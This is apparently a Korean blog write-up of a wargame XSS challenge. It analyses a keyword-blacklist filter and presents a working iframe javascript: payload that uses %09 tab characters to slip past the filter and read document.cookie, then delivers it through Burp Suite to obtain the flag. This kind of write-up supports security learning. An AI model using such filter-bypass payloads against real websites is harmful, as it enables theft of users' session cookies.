CTF & Wargame(WEB)

XSS Filtering Bypass Advanced level 3

KWAKBUMJUN 2025. 4. 18. 00:24

문제는 이전에 풀었던 xss 문제들과 구조는 거의 유사하다. 하지만 달라진 점이 있다면 필터링을 하는 키워드가 더 많아졌다는 것이다.

 

xss_filter() 함수 분석

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

xss_filter 함수 코드를 보면 script, on, javascript, window, self, this, document, location, (, ), &#를 필터링 하고 있다는 것을 알 수 있다. 따라서 해당 키워드들을 우회하여 xss를 발생시켜야 한다.

 

익스플로잇

위의 키워드들을 우회하여 document.cookie의 값을 memo 페이지에 띄워게 하려면 

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocume%09nt.cookie">

이와 같이 필터링이 되고 있는 키워드들 중간에 %09라는 url encode 특수문자를 넣어줘서 우회를 해야한다. 

위의 페이로드를 그대로 flag 페이지에 넣으면 안되고, 내부 로직에서 충돌이 발생하기 때문에 이를 burp suite와 같은 툴을 사용하여 넘겨줘야 한다.

이렇게 param에 위에서 작성한 페이로드를 삽입하여 넣어주면

이와 같이 플래그가 출력된 것을 확인할 수 있다.

'CTF & Wargame(WEB)' 카테고리의 다른 글

level 3 CSP Bypass Advanced  (0) 2025.04.18
level 2 CSP Bypass  (0) 2025.04.18
level 1 XSS Filtering Bypass  (1) 2025.04.17
Command Injection Advanced level 1  (0) 2025.04.16
My Best Friend level 1  (0) 2025.04.16